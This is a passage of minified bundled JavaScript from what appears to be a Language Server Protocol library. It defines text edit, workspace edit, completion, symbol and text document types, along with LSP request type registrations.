0)}d.is=P})(z=e.ChangeAnnotation||(e.ChangeAnnotation={}));var M;(function(d){function R(P){var y=P;return typeof y=="string"}d.is=R})(M=e.ChangeAnnotationIdentifier||(e.ChangeAnnotationIdentifier={}));var G;(function(d){function R(x,I,Y){return{range:x,newText:I,annotationId:Y}}d.replace=R;function P(x,I,Y){return{range:{start:x,end:x},newText:I,annotationId:Y}}d.insert=P;function y(x,I){return{range:x,newText:"",annotationId:I}}d.del=y;function m(x){var I=x;return O.is(I)&&(z.is(I.annotationId)||M.is(I.annotationId))}d.is=m})(G=e.AnnotatedTextEdit||(e.AnnotatedTextEdit={}));var X;(function(d){function R(y,m){return{textDocument:y,edits:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&$e.is(m.textDocument)&&Array.isArray(m.edits)}d.is=P})(X=e.TextDocumentEdit||(e.TextDocumentEdit={}));var _e;(function(d){function R(y,m,x){var I={kind:"create",uri:y};return m!==void 0&&(m.overwrite!==void 0||m.ignoreIfExists!==void 0)&&(I.options=m),x!==void 0&&(I.annotationId=x),I}d.create=R;function P(y){var m=y;return m&&m.kind==="create"&&f.string(m.uri)&&(m.options===void 0||(m.options.overwrite===void 0||f.boolean(m.options.overwrite))&&(m.options.ignoreIfExists===void 0||f.boolean(m.options.ignoreIfExists)))&&(m.annotationId===void 0||M.is(m.annotationId))}d.is=P})(_e=e.CreateFile||(e.CreateFile={}));var Ae;(function(d){function R(y,m,x,I){var Y={kind:"rename",oldUri:y,newUri:m};return x!==void 0&&(x.overwrite!==void 0||x.ignoreIfExists!==void 0)&&(Y.options=x),I!==void 0&&(Y.annotationId=I),Y}d.create=R;function P(y){var m=y;return m&&m.kind==="rename"&&f.string(m.oldUri)&&f.string(m.newUri)&&(m.options===void 0||(m.options.overwrite===void 0||f.boolean(m.options.overwrite))&&(m.options.ignoreIfExists===void 0||f.boolean(m.options.ignoreIfExists)))&&(m.annotationId===void 0||M.is(m.annotationId))}d.is=P})(Ae=e.RenameFile||(e.RenameFile={}));var Je;(function(d){function R(y,m,x){var I={kind:"delete",uri:y};return m!==void 0&&(m.recursive!==void 0||m.ignoreIfNotExists!==void 0)&&(I.options=m),x!==void 0&&(I.annotationId=x),I}d.create=R;function P(y){var m=y;return m&&m.kind==="delete"&&f.string(m.uri)&&(m.options===void 0||(m.options.recursive===void 0||f.boolean(m.options.recursive))&&(m.options.ignoreIfNotExists===void 0||f.boolean(m.options.ignoreIfNotExists)))&&(m.annotationId===void 0||M.is(m.annotationId))}d.is=P})(Je=e.DeleteFile||(e.DeleteFile={}));var je;(function(d){function R(P){var y=P;return y&&(y.changes!==void 0||y.documentChanges!==void 0)&&(y.documentChanges===void 0||y.documentChanges.every(function(m){return f.string(m.kind)?_e.is(m)||Ae.is(m)||Je.is(m):X.is(m)}))}d.is=R})(je=e.WorkspaceEdit||(e.WorkspaceEdit={}));var Fe=function(){function d(R,P){this.edits=R,this.changeAnnotations=P}return d.prototype.insert=function(R,P,y){var m,x;if(y===void 0?m=O.insert(R,P):M.is(y)?(x=y,m=G.insert(R,P,y)):(this.assertChangeAnnotations(this.changeAnnotations),x=this.changeAnnotations.manage(y),m=G.insert(R,P,x)),this.edits.push(m),x!==void 0)return x},d.prototype.replace=function(R,P,y){var m,x;if(y===void 0?m=O.replace(R,P):M.is(y)?(x=y,m=G.replace(R,P,y)):(this.assertChangeAnnotations(this.changeAnnotations),x=this.changeAnnotations.manage(y),m=G.replace(R,P,x)),this.edits.push(m),x!==void 0)return x},d.prototype.delete=function(R,P){var y,m;if(P===void 0?y=O.del(R):M.is(P)?(m=P,y=G.del(R,P)):(this.assertChangeAnnotations(this.changeAnnotations),m=this.changeAnnotations.manage(P),y=G.del(R,m)),this.edits.push(y),m!==void 0)return m},d.prototype.add=function(R){this.edits.push(R)},d.prototype.all=function(){return this.edits},d.prototype.clear=function(){this.edits.splice(0,this.edits.length)},d.prototype.assertChangeAnnotations=function(R){if(R===void 0)throw new Error("Text edit change is not configured to manage change annotations.")},d}(),ct=function(){function d(R){this._annotations=R===void 0?Object.create(null):R,this._counter=0,this._size=0}return d.prototype.all=function(){return this._annotations},Object.defineProperty(d.prototype,"size",{get:function(){return this._size},enumerable:!1,configurable:!0}),d.prototype.manage=function(R,P){var y;if(M.is(R)?y=R:(y=this.nextId(),P=R),this._annotations[y]!==void 0)throw new Error("Id "+y+" is already in use.");if(P===void 0)throw new Error("No annotation provided for id "+y);return this._annotations[y]=P,this._size++,y},d.prototype.nextId=function(){return this._counter++,this._counter.toString()},d}(),St=function(){function d(R){var P=this;this._textEditChanges=Object.create(null),R!==void 0?(this._workspaceEdit=R,R.documentChanges?(this._changeAnnotations=new ct(R.changeAnnotations),R.changeAnnotations=this._changeAnnotations.all(),R.documentChanges.forEach(function(y){if(X.is(y)){var m=new Fe(y.edits,P._changeAnnotations);P._textEditChanges[y.textDocument.uri]=m}})):R.changes&&Object.keys(R.changes).forEach(function(y){var m=new Fe(R.changes[y]);P._textEditChanges[y]=m})):this._workspaceEdit={}}return Object.defineProperty(d.prototype,"edit",{get:function(){return this.initDocumentChanges(),this._changeAnnotations!==void 0&&(this._changeAnnotations.size===0?this._workspaceEdit.changeAnnotations=void 0:this._workspaceEdit.changeAnnotations=this._changeAnnotations.all()),this._workspaceEdit},enumerable:!1,configurable:!0}),d.prototype.getTextEditChange=function(R){if($e.is(R)){if(this.initDocumentChanges(),this._workspaceEdit.documentChanges===void 0)throw new Error("Workspace edit is not configured for document changes.");var P={uri:R.uri,version:R.version},y=this._textEditChanges[P.uri];if(!y){var m=[],x={textDocument:P,edits:m};this._workspaceEdit.documentChanges.push(x),y=new Fe(m,this._changeAnnotations),this._textEditChanges[P.uri]=y}return y}else{if(this.initChanges(),this._workspaceEdit.changes===void 0)throw new Error("Workspace edit is not configured for normal text edit changes.");var y=this._textEditChanges[R];if(!y){var m=[];this._workspaceEdit.changes[R]=m,y=new Fe(m),this._textEditChanges[R]=y}return y}},d.prototype.initDocumentChanges=function(){this._workspaceEdit.documentChanges===void 0&&this._workspaceEdit.changes===void 0&&(this._changeAnnotations=new ct,this._workspaceEdit.documentChanges=[],this._workspaceEdit.changeAnnotations=this._changeAnnotations.all())},d.prototype.initChanges=function(){this._workspaceEdit.documentChanges===void 0&&this._workspaceEdit.changes===void 0&&(this._workspaceEdit.changes=Object.create(null))},d.prototype.createFile=function(R,P,y){if(this.initDocumentChanges(),this._workspaceEdit.documentChanges===void 0)throw new Error("Workspace edit is not configured for document changes.");var m;z.is(P)||M.is(P)?m=P:y=P;var x,I;if(m===void 0?x=_e.create(R,y):(I=M.is(m)?m:this._changeAnnotations.manage(m),x=_e.create(R,y,I)),this._workspaceEdit.documentChanges.push(x),I!==void 0)return I},d.prototype.renameFile=function(R,P,y,m){if(this.initDocumentChanges(),this._workspaceEdit.documentChanges===void 0)throw new Error("Workspace edit is not configured for document changes.");var x;z.is(y)||M.is(y)?x=y:m=y;var I,Y;if(x===void 0?I=Ae.create(R,P,m):(Y=M.is(x)?x:this._changeAnnotations.manage(x),I=Ae.create(R,P,m,Y)),this._workspaceEdit.documentChanges.push(I),Y!==void 0)return Y},d.prototype.deleteFile=function(R,P,y){if(this.initDocumentChanges(),this._workspaceEdit.documentChanges===void 0)throw new Error("Workspace edit is not configured for document changes.");var m;z.is(P)||M.is(P)?m=P:y=P;var x,I;if(m===void 0?x=Je.create(R,y):(I=M.is(m)?m:this._changeAnnotations.manage(m),x=Je.create(R,y,I)),this._workspaceEdit.documentChanges.push(x),I!==void 0)return I},d}();e.WorkspaceChange=St;var Tt;(function(d){function R(y){return{uri:y}}d.create=R;function P(y){var m=y;return f.defined(m)&&f.string(m.uri)}d.is=P})(Tt=e.TextDocumentIdentifier||(e.TextDocumentIdentifier={}));var Wt;(function(d){function R(y,m){return{uri:y,version:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&f.string(m.uri)&&f.integer(m.version)}d.is=P})(Wt=e.VersionedTextDocumentIdentifier||(e.VersionedTextDocumentIdentifier={}));var $e;(function(d){function R(y,m){return{uri:y,version:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&f.string(m.uri)&&(m.version===null||f.integer(m.version))}d.is=P})($e=e.OptionalVersionedTextDocumentIdentifier||(e.OptionalVersionedTextDocumentIdentifier={}));var gt;(function(d){function R(y,m,x,I){return{uri:y,languageId:m,version:x,text:I}}d.create=R;function P(y){var m=y;return f.defined(m)&&f.string(m.uri)&&f.string(m.languageId)&&f.integer(m.version)&&f.string(m.text)}d.is=P})(gt=e.TextDocumentItem||(e.TextDocumentItem={}));var mt;(function(d){d.PlainText="plaintext",d.Markdown="markdown"})(mt=e.MarkupKind||(e.MarkupKind={})),function(d){function R(P){var y=P;return y===d.PlainText||y===d.Markdown}d.is=R}(mt=e.MarkupKind||(e.MarkupKind={}));var ut;(function(d){function R(P){var y=P;return f.objectLiteral(P)&&mt.is(y.kind)&&f.string(y.value)}d.is=R})(ut=e.MarkupContent||(e.MarkupContent={}));var Pt;(function(d){d.Text=1,d.Method=2,d.Function=3,d.Constructor=4,d.Field=5,d.Variable=6,d.Class=7,d.Interface=8,d.Module=9,d.Property=10,d.Unit=11,d.Value=12,d.Enum=13,d.Keyword=14,d.Snippet=15,d.Color=16,d.File=17,d.Reference=18,d.Folder=19,d.EnumMember=20,d.Constant=21,d.Struct=22,d.Event=23,d.Operator=24,d.TypeParameter=25})(Pt=e.CompletionItemKind||(e.CompletionItemKind={}));var Ot;(function(d){d.PlainText=1,d.Snippet=2})(Ot=e.InsertTextFormat||(e.InsertTextFormat={}));var Jr;(function(d){d.Deprecated=1})(Jr=e.CompletionItemTag||(e.CompletionItemTag={}));var Zr;(function(d){function R(y,m,x){return{newText:y,insert:m,replace:x}}d.create=R;function P(y){var m=y;return m&&f.string(m.newText)&&s.is(m.insert)&&s.is(m.replace)}d.is=P})(Zr=e.InsertReplaceEdit||(e.InsertReplaceEdit={}));var Or;(function(d){d.asIs=1,d.adjustIndentation=2})(Or=e.InsertTextMode||(e.InsertTextMode={}));var nt;(function(d){function R(P){var y=P;return y&&(f.string(y.detail)||y.detail===void 0)&&(f.string(y.description)||y.description===void 0)}d.is=R})(nt=e.CompletionItemLabelDetails||(e.CompletionItemLabelDetails={}));var lt;(function(d){function R(P){return{label:P}}d.create=R})(lt=e.CompletionItem||(e.CompletionItem={}));var gr;(function(d){function R(P,y){return{items:P||[],isIncomplete:!!y}}d.create=R})(gr=e.CompletionList||(e.CompletionList={}));var cr;(function(d){function R(y){return y.replace(/[\\`*_{}[\]()#+\-.!]/g,"\\$&")}d.fromPlainText=R;function P(y){var m=y;return f.string(m)||f.objectLiteral(m)&&f.string(m.language)&&f.string(m.value)}d.is=P})(cr=e.MarkedString||(e.MarkedString={}));var dt;(function(d){function R(P){var y=P;return!!y&&f.objectLiteral(y)&&(ut.is(y.contents)||cr.is(y.contents)||f.typedArray(y.contents,cr.is))&&(P.range===void 0||s.is(P.range))}d.is=R})(dt=e.Hover||(e.Hover={}));var mr;(function(d){function R(P,y){return y?{label:P,documentation:y}:{label:P}}d.create=R})(mr=e.ParameterInformation||(e.ParameterInformation={}));var Ar;(function(d){function R(P,y){for(var m=[],x=2;x<arguments.length;x++)m[x-2]=arguments[x];var I={label:P};return f.defined(y)&&(I.documentation=y),f.defined(m)?I.parameters=m:I.parameters=[],I}d.create=R})(Ar=e.SignatureInformation||(e.SignatureInformation={}));var Ht;(function(d){d.Text=1,d.Read=2,d.Write=3})(Ht=e.DocumentHighlightKind||(e.DocumentHighlightKind={}));var Fr;(function(d){function R(P,y){var m={range:P};return f.number(y)&&(m.kind=y),m}d.create=R})(Fr=e.DocumentHighlight||(e.DocumentHighlight={}));var At;(function(d){d.File=1,d.Module=2,d.Namespace=3,d.Package=4,d.Class=5,d.Method=6,d.Property=7,d.Field=8,d.Constructor=9,d.Enum=10,d.Interface=11,d.Function=12,d.Variable=13,d.Constant=14,d.String=15,d.Number=16,d.Boolean=17,d.Array=18,d.Object=19,d.Key=20,d.Null=21,d.EnumMember=22,d.Struct=23,d.Event=24,d.Operator=25,d.TypeParameter=26})(At=e.SymbolKind||(e.SymbolKind={}));var vr;(function(d){d.Deprecated=1})(vr=e.SymbolTag||(e.SymbolTag={}));var ke;(function(d){function R(P,y,m,x,I){var Y={name:P,kind:y,location:{uri:x,range:m}};return I&&(Y.containerName=I),Y}d.create=R})(ke=e.SymbolInformation||(e.SymbolInformation={}));var Dt;(function(d){function R(y,m,x,I,Y,be){var we={name:y,detail:m,kind:x,range:I,selectionRange:Y};return be!==void 0&&(we.children=be),we}d.create=R;function P(y){var m=y;return m&&f.string(m.name)&&f.number(m.kind)&&s.is(m.range)&&s.is(m.selectionRange)&&(m.detail===void 0||f.string(m.detail))&&(m.deprecated===void 0||f.boolean(m.deprecated))&&(m.children===void 0||Array.isArray(m.children))&&(m.tags===void 0||Array.isArray(m.tags))}d.is=P})(Dt=e.DocumentSymbol||(e.DocumentSymbol={}));var Ir;(function(d){d.Empty="",d.QuickFix="quickfix",d.Refactor="refactor",d.RefactorExtract="refactor.extract",d.RefactorInline="refactor.inline",d.RefactorRewrite="refactor.rewrite",d.Source="source",d.SourceOrganizeImports="source.organizeImports",d.SourceFixAll="source.fixAll"})(Ir=e.CodeActionKind||(e.CodeActionKind={}));var yr;(function(d){function R(y,m){var x={diagnostics:y};return m!=null&&(x.only=m),x}d.create=R;function P(y){var m=y;return f.defined(m)&&f.typedArray(m.diagnostics,A.is)&&(m.only===void 0||f.typedArray(m.only,f.string))}d.is=P})(yr=e.CodeActionContext||(e.CodeActionContext={}));var zt;(function(d){function R(y,m,x){var I={title:y},Y=!0;return typeof m=="string"?(Y=!1,I.kind=m):H.is(m)?I.command=m:I.edit=m,Y&&x!==void 0&&(I.kind=x),I}d.create=R;function P(y){var m=y;return m&&f.string(m.title)&&(m.diagnostics===void 0||f.typedArray(m.diagnostics,A.is))&&(m.kind===void 0||f.string(m.kind))&&(m.edit!==void 0||m.command!==void 0)&&(m.command===void 0||H.is(m.command))&&(m.isPreferred===void 0||f.boolean(m.isPreferred))&&(m.edit===void 0||je.is(m.edit))}d.is=P})(zt=e.CodeAction||(e.CodeAction={}));var Zt;(function(d){function R(y,m){var x={range:y};return f.defined(m)&&(x.data=m),x}d.create=R;function P(y){var m=y;return f.defined(m)&&s.is(m.range)&&(f.undefined(m.command)||H.is(m.command))}d.is=P})(Zt=e.CodeLens||(e.CodeLens={}));var Ze;(function(d){function R(y,m){return{tabSize:y,insertSpaces:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&f.uinteger(m.tabSize)&&f.boolean(m.insertSpaces)}d.is=P})(Ze=e.FormattingOptions||(e.FormattingOptions={}));var Bt;(function(d){function R(y,m,x){return{range:y,target:m,data:x}}d.create=R;function P(y){var m=y;return f.defined(m)&&s.is(m.range)&&(f.undefined(m.target)||f.string(m.target))}d.is=P})(Bt=e.DocumentLink||(e.DocumentLink={}));var er;(function(d){function R(y,m){return{range:y,parent:m}}d.create=R;function P(y){var m=y;return m!==void 0&&s.is(m.range)&&(m.parent===void 0||d.is(m.parent))}d.is=P})(er=e.SelectionRange||(e.SelectionRange={}));var Ut;(function(d){d.namespace="namespace",d.type="type",d.class="class",d.enum="enum",d.interface="interface",d.struct="struct",d.typeParameter="typeParameter",d.parameter="parameter",d.variable="variable",d.property="property",d.enumMember="enumMember",d.event="event",d.function="function",d.method="method",d.macro="macro",d.keyword="keyword",d.modifier="modifier",d.comment="comment",d.string="string",d.number="number",d.regexp="regexp",d.operator="operator"})(Ut=e.SemanticTokenTypes||(e.SemanticTokenTypes={}));var D;(function(d){d.declaration="declaration",d.definition="definition",d.readonly="readonly",d.static="static",d.deprecated="deprecated",d.abstract="abstract",d.async="async",d.modification="modification",d.documentation="documentation",d.defaultLibrary="defaultLibrary"})(D=e.SemanticTokenModifiers||(e.SemanticTokenModifiers={}));var j;(function(d){function R(P){var y=P;return y!==void 0&&(y.resultId===void 0||typeof y.resultId=="string")&&Array.isArray(y.data)&&(y.data.length===0||typeof y.data[0]=="number")}d.is=R})(j=e.SemanticTokens||(e.SemanticTokens={})),e.EOL=[`
`,`\r
`,"\r"];var K;(function(d){function R(x,I,Y,be){return new Q(x,I,Y,be)}d.create=R;function P(x){var I=x;return!!(f.defined(I)&&f.string(I.uri)&&(f.undefined(I.languageId)||f.string(I.languageId))&&f.uinteger(I.lineCount)&&f.func(I.getText)&&f.func(I.positionAt)&&f.func(I.offsetAt))}d.is=P;function y(x,I){for(var Y=x.getText(),be=m(I,function(Ft,en){var br=Ft.range.start.line-en.range.start.line;return br===0?Ft.range.start.character-en.range.start.character:br}),we=Y.length,Kt=be.length-1;Kt>=0;Kt--){var Ye=be[Kt],vt=x.offsetAt(Ye.range.start),le=x.offsetAt(Ye.range.end);if(le<=we)Y=Y.substring(0,vt)+Ye.newText+Y.substring(le,Y.length);else throw new Error("Overlapping edit");we=vt}return Y}d.applyEdits=y;function m(x,I){if(x.length<=1)return x;var Y=x.length/2|0,be=x.slice(0,Y),we=x.slice(Y);m(be,I),m(we,I);for(var Kt=0,Ye=0,vt=0;Kt<be.length&&Ye<we.length;){var le=I(be[Kt],we[Ye]);le<=0?x[vt++]=be[Kt++]:x[vt++]=we[Ye++]}for(;Kt<be.length;)x[vt++]=be[Kt++];for(;Ye<we.length;)x[vt++]=we[Ye++];return x}})(K=e.TextDocument||(e.TextDocument={}));var Q=function(){function d(R,P,y,m){this._uri=R,this._languageId=P,this._version=y,this._content=m,this._lineOffsets=void 0}return Object.defineProperty(d.prototype,"uri",{get:function(){return this._uri},enumerable:!1,configurable:!0}),Object.defineProperty(d.prototype,"languageId",{get:function(){return this._languageId},enumerable:!1,configurable:!0}),Object.defineProperty(d.prototype,"version",{get:function(){return this._version},enumerable:!1,configurable:!0}),d.prototype.getText=function(R){if(R){var P=this.offsetAt(R.start),y=this.offsetAt(R.end);return this._content.substring(P,y)}return this._content},d.prototype.update=function(R,P){this._content=R.text,this._version=P,this._lineOffsets=void 0},d.prototype.getLineOffsets=function(){if(this._lineOffsets===void 0){for(var R=[],P=this._content,y=!0,m=0;m<P.length;m++){y&&(R.push(m),y=!1);var x=P.charAt(m);y=x==="\r"||x===`
`,x==="\r"&&m+1<P.length&&P.charAt(m+1)===`
`&&m++}y&&P.length>0&&R.push(P.length),this._lineOffsets=R}return this._lineOffsets},d.prototype.positionAt=function(R){R=Math.max(Math.min(R,this._content.length),0);var P=this.getLineOffsets(),y=0,m=P.length;if(m===0)return i.create(0,R);for(;y<m;){var x=Math.floor((y+m)/2);P[x]>R?m=x:y=x+1}var I=y-1;return i.create(I,R-P[I])},d.prototype.offsetAt=function(R){var P=this.getLineOffsets();if(R.line>=P.length)return this._content.length;if(R.line<0)return 0;var y=P[R.line],m=R.line+1<P.length?P[R.line+1]:this._content.length;return Math.max(Math.min(y+R.character,m),y)},Object.defineProperty(d.prototype,"lineCount",{get:function(){return this.getLineOffsets().length},enumerable:!1,configurable:!0}),d}(),f;(function(d){var R=Object.prototype.toString;function P(le){return typeof le!="undefined"}d.defined=P;function y(le){return typeof le=="undefined"}d.undefined=y;function m(le){return le===!0||le===!1}d.boolean=m;function x(le){return R.call(le)==="[object String]"}d.string=x;function I(le){return R.call(le)==="[object Number]"}d.number=I;function Y(le,Ft,en){return R.call(le)==="[object Number]"&&Ft<=le&&le<=en}d.numberRange=Y;function be(le){return R.call(le)==="[object Number]"&&-2147483648<=le&&le<=2147483647}d.integer=be;function we(le){return R.call(le)==="[object Number]"&&0<=le&&le<=2147483647}d.uinteger=we;function Kt(le){return R.call(le)==="[object Function]"}d.func=Kt;function Ye(le){return le!==null&&typeof le=="object"}d.objectLiteral=Ye;function vt(le,Ft){return Array.isArray(le)&&le.every(Ft)}d.typedArray=vt})(f||(f={}))})});var ht=F(Pr=>{"use strict";Object.defineProperty(Pr,"__esModule",{value:!0});Pr.ProtocolNotificationType=Pr.ProtocolNotificationType0=Pr.ProtocolRequestType=Pr.ProtocolRequestType0=Pr.RegistrationType=void 0;var Hi=ai(),Cg=class{constructor(e){this.method=e}};Pr.RegistrationType=Cg;var Rg=class extends Hi.RequestType0{constructor(e){super(e)}};Pr.ProtocolRequestType0=Rg;var _g=class extends Hi.RequestType{constructor(e){super(e,Hi.ParameterStructures.byName)}};Pr.ProtocolRequestType=_g;var Sg=class extends Hi.NotificationType0{constructor(e){super(e)}};Pr.ProtocolNotificationType0=Sg;var Tg=class extends Hi.NotificationType{constructor(e){super(e,Hi.ParameterStructures.byName)}};Pr.ProtocolNotificationType=Tg});var $u=F(st=>{"use strict";Object.defineProperty(st,"__esModule",{value:!0});st.objectLiteral=st.typedArray=st.stringArray=st.array=st.func=st.error=st.number=st.string=st.boolean=void 0;function MT(r){return r===!0||r===!1}st.boolean=MT;function Pg(r){return typeof r=="string"||r instanceof String}st.string=Pg;function jT(r){return typeof r=="number"||r instanceof Number}st.number=jT;function $T(r){return r instanceof Error}st.error=$T;function WT(r){return typeof r=="function"}st.func=WT;function Dg(r){return Array.isArray(r)}st.array=Dg;function HT(r){return Dg(r)&&r.every(e=>Pg(e))}st.stringArray=HT;function zT(r,e){return Array.isArray(r)&&r.every(e)}st.typedArray=zT;function BT(r){return r!==null&&typeof r=="object"}st.objectLiteral=BT});var Eg=F(Vo=>{"use strict";Object.defineProperty(Vo,"__esModule",{value:!0});Vo.ImplementationRequest=void 0;var UT=ht(),KT;(function(r){r.method="textDocument/implementation",r.type=new UT.ProtocolRequestType(r.method)})(KT=Vo.ImplementationRequest||(Vo.ImplementationRequest={}))});var xg=F(Yo=>{"use strict";Object.defineProperty(Yo,"__esModule",{value:!0});Yo.TypeDefinitionRequest=void 0;var GT=ht(),VT;(function(r){r.method="textDocument/typeDefinition",r.type=new GT.ProtocolRequestType(r.method)})(VT=Yo.TypeDefinitionRequest||(Yo.TypeDefinitionRequest={}))});var qg=F(In=>{"use strict";Object.defineProperty(In,"__esModule",{value:!0});In.DidChangeWorkspaceFoldersNotification=In.WorkspaceFoldersRequest=void 0;var kg=ht(),YT;(function(r){r.type=new kg.ProtocolRequestType0("workspace/workspaceFolders")})(YT=In.WorkspaceFoldersRequest||(In.WorkspaceFoldersRequest={}));var XT;(function(r){r.type=new kg.ProtocolNotificationType("workspace/didChangeWorkspaceFolders")})(XT=In.DidChangeWorkspaceFoldersNotification||(In.DidChangeWorkspaceFoldersNotification={}))});var Og=F(Xo=>{"use strict";Object.defineProperty(Xo,"__esModule",{value:!0});Xo.ConfigurationRequest=void 0;var QT=ht(),JT;(function(r){r.type=new QT.ProtocolRequestType("workspace/configuration")})(JT=Xo.ConfigurationRequest||(Xo.ConfigurationRequest={}))});var Fg=F(Ln=>{"use strict";Object.defineProperty(Ln,"__esModule",{value:!0});Ln.ColorPresentationRequest=Ln.DocumentColorRequest=void 0;var Ag=ht(),ZT;(function(r){r.method="textDocument/documentColor",r.type=new Ag.ProtocolRequestType(r.method)})(ZT=Ln.DocumentColorRequest||(Ln.DocumentColorRequest={}));var eP;(function(r){r.type=new Ag.ProtocolRequestType("textDocument/colorPresentation")})(eP=Ln.ColorPresentationRequest||(Ln.ColorPresentationRequest={}))});var Ig=F(Nn=>{"use strict";Object.defineProperty(Nn,"__esModule",{value:!0});Nn.FoldingRangeRequest=Nn.FoldingRangeKind=void 0;var tP=ht(),rP;(function(r){r.Comment="comment",r.Imports="imports",r.Region="region"})(rP=Nn.FoldingRangeKind||(Nn.FoldingRangeKind={}));var nP;(function(r){r.method="textDocument/foldingRange",r.type=new tP.ProtocolRequestType(r.method)})(nP=Nn.FoldingRangeRequest||(Nn.FoldingRangeRequest={}))});var Lg=F(Qo=>{"use strict";Object.defineProperty(Qo,"__esModule",{value:!0});Qo.DeclarationRequest=void 0;var iP=ht(),oP;(function(r){r.method="textDocument/declaration",r.type=new iP.ProtocolRequestType(r.method)})(oP=Qo.DeclarationRequest||(Qo.DeclarationRequest={}))});var Ng=F(Jo=>{"use strict";Object.defineProperty(Jo,"__esModule",{value:!0});Jo.SelectionRangeRequest=void 0;var sP=ht(),aP;(function(r){r.method="textDocument/selectionRange",r.type=new sP.ProtocolRequestType(r.method)})(aP=Jo.SelectionRangeRequest||(Jo.SelectionRangeRequest={}))});var jg=F(Hr=>{"use strict";Object.defineProperty(Hr,"__esModule",{value:!0});Hr.WorkDoneProgressCancelNotification=Hr.WorkDoneProgressCreateRequest=Hr.WorkDoneProgress=void 0;var cP=ai(),Mg=ht(),uP;(function(r){r.type=new cP.ProgressType;function e(t){return t===r.type}r.is=e})(uP=Hr.WorkDoneProgress||(Hr.WorkDoneProgress={}));var lP;(function(r){r.type=new Mg.ProtocolRequestType("window/workDoneProgress/create")})(lP=Hr.WorkDoneProgressCreateRequest||(Hr.WorkDoneProgressCreateRequest={}));var dP;(function(r){r.type=new Mg.ProtocolNotificationType("window/workDoneProgress/cancel")})(dP=Hr.WorkDoneProgressCancelNotification||(Hr.WorkDoneProgressCancelNotification={}))});var $g=F(zr=>{"use strict";Object.defineProperty(zr,"__esModule",{value:!0});zr.CallHierarchyOutgoingCallsRequest=zr.CallHierarchyIncomingCallsRequest=zr.CallHierarchyPrepareRequest=void 0;var Wu=ht(),fP;(function(r){r.method="textDocument/prepareCallHierarchy",r.type=new Wu.ProtocolRequestType(r.method)})(fP=zr.CallHierarchyPrepareRequest||(zr.CallHierarchyPrepareRequest={}));var hP;(function(r){r.method="callHierarchy/incomingCalls",r.type=new Wu.ProtocolRequestType(r.method)})(hP=zr.CallHierarchyIncomingCallsRequest||(zr.CallHierarchyIncomingCallsRequest={}));var pP;(function(r){r.method="callHierarchy/outgoingCalls",r.type=new Wu.ProtocolRequestType(r.method)})(pP=zr.CallHierarchyOutgoingCallsRequest||(zr.CallHierarchyOutgoingCallsRequest={}))});var Wg=F(at=>{"use strict";Object.defineProperty(at,"__esModule",{value:!0});at.SemanticTokensRefreshRequest=at.SemanticTokensRangeRequest=at.SemanticTokensDeltaRequest=at.SemanticTokensRequest=at.SemanticTokensRegistrationType=at.TokenFormat=void 0;var Zo=ht(),gP;(function(r){r.Relative="relative"})(gP=at.TokenFormat||(at.TokenFormat={}));var mP;(function(r){r.method="textDocument/semanticTokens",r.type=new Zo.RegistrationType(r.method)})(mP=at.SemanticTokensRegistrationType||(at.SemanticTokensRegistrationType={}));var vP;(function(r){r.method="textDocument/semanticTokens/full",r.type=new Zo.ProtocolRequestType(r.method)})(vP=at.SemanticTokensRequest||(at.SemanticTokensRequest={}));var yP;(function(r){r.method="textDocument/semanticTokens/full/delta",r.type=new Zo.ProtocolRequestType(r.method)})(yP=at.SemanticTokensDeltaRequest||(at.SemanticTokensDeltaRequest={}));var bP;(function(r){r.method="textDocument/semanticTokens/range",r.type=new Zo.ProtocolRequestType(r.method)})(bP=at.SemanticTokensRangeRequest||(at.SemanticTokensRangeRequest={}));var wP;(function(r){r.method="workspace/semanticTokens/refresh",r.type=new Zo.ProtocolRequestType0(r.method)})(wP=at.SemanticTokensRefreshRequest||(at.SemanticTokensRefreshRequest={}))});var Hg=F(es=>{"use strict";Object.defineProperty(es,"__esModule",{value:!0});es.ShowDocumentRequest=void 0;var CP=ht(),RP;(function(r){r.method="window/showDocument",r.type=new CP.ProtocolRequestType(r.method)})(RP=es.ShowDocumentRequest||(es.ShowDocumentRequest={}))});var zg=F(ts=>{"use strict";Object.defineProperty(ts,"__esModule",{value:!0});ts.LinkedEditingRangeRequest=void 0;var _P=ht(),SP;(function(r){r.method="textDocument/linkedEditingRange",r.type=new _P.ProtocolRequestType(r.method)})(SP=ts.LinkedEditingRangeRequest||(ts.LinkedEditingRangeRequest={}))});var Bg=F(Ge=>{"use strict";Object.defineProperty(Ge,"__esModule",{value:!0});Ge.WillDeleteFilesRequest=Ge.DidDeleteFilesNotification=Ge.DidRenameFilesNotification=Ge.WillRenameFilesRequest=Ge.DidCreateFilesNotification=Ge.WillCreateFilesRequest=Ge.FileOperationPatternKind=void 0;var zi=ht(),TP;(function(r){r.file="file",r.folder="folder"})(TP=Ge.FileOperationPatternKind||(Ge.FileOperationPatternKind={}));var PP;(function(r){r.method="workspace/willCreateFiles",r.type=new zi.ProtocolRequestType(r.method)})(PP=Ge.WillCreateFilesRequest||(Ge.WillCreateFilesRequest={}));var DP;(function(r){r.method="workspace/didCreateFiles",r.type=new zi.ProtocolNotificationType(r.method)})(DP=Ge.DidCreateFilesNotification||(Ge.DidCreateFilesNotification={}));var EP;(function(r){r.method="workspace/willRenameFiles",r.type=new zi.ProtocolRequestType(r.method)})(EP=Ge.WillRenameFilesRequest||(Ge.WillRenameFilesRequest={}));var xP;(function(r){r.method="workspace/didRenameFiles",r.type=new zi.ProtocolNotificationType(r.method)})(xP=Ge.DidRenameFilesNotification||(Ge.DidRenameFilesNotification={}));var kP;(function(r){r.method="workspace/didDeleteFiles",r.type=new zi.ProtocolNotificationType(r.method)})(kP=Ge.DidDeleteFilesNotification||(Ge.DidDeleteFilesNotification={}));var qP;(function(r){r.method="workspace/willDeleteFiles",r.type=new zi.ProtocolRequestType(r.method)})(qP=Ge.WillDeleteFilesRequest||(Ge.WillDeleteFilesRequest={}))});var Ug=F(Br=>{"use strict";Object.defineProperty(Br,"__esModule",{value:!0});Br.MonikerRequest=Br.MonikerKind=Br.UniquenessLevel=void 0;var OP=ht(),AP;(function(r){r.document="document",r.project="project",r.group="group",r.scheme="scheme",r.global="global"})(AP=Br.UniquenessLevel||(Br.UniquenessLevel={}));var FP;(function(r){r.import="import",r.export="export",r.local="local"})(FP=Br.MonikerKind||(Br.MonikerKind={}));var IP;(function(r){r.method="textDocument/moniker",r.type=new OP.ProtocolRequestType(r.method)})(IP=Br.MonikerRequest||(Br.MonikerRequest={}))});var 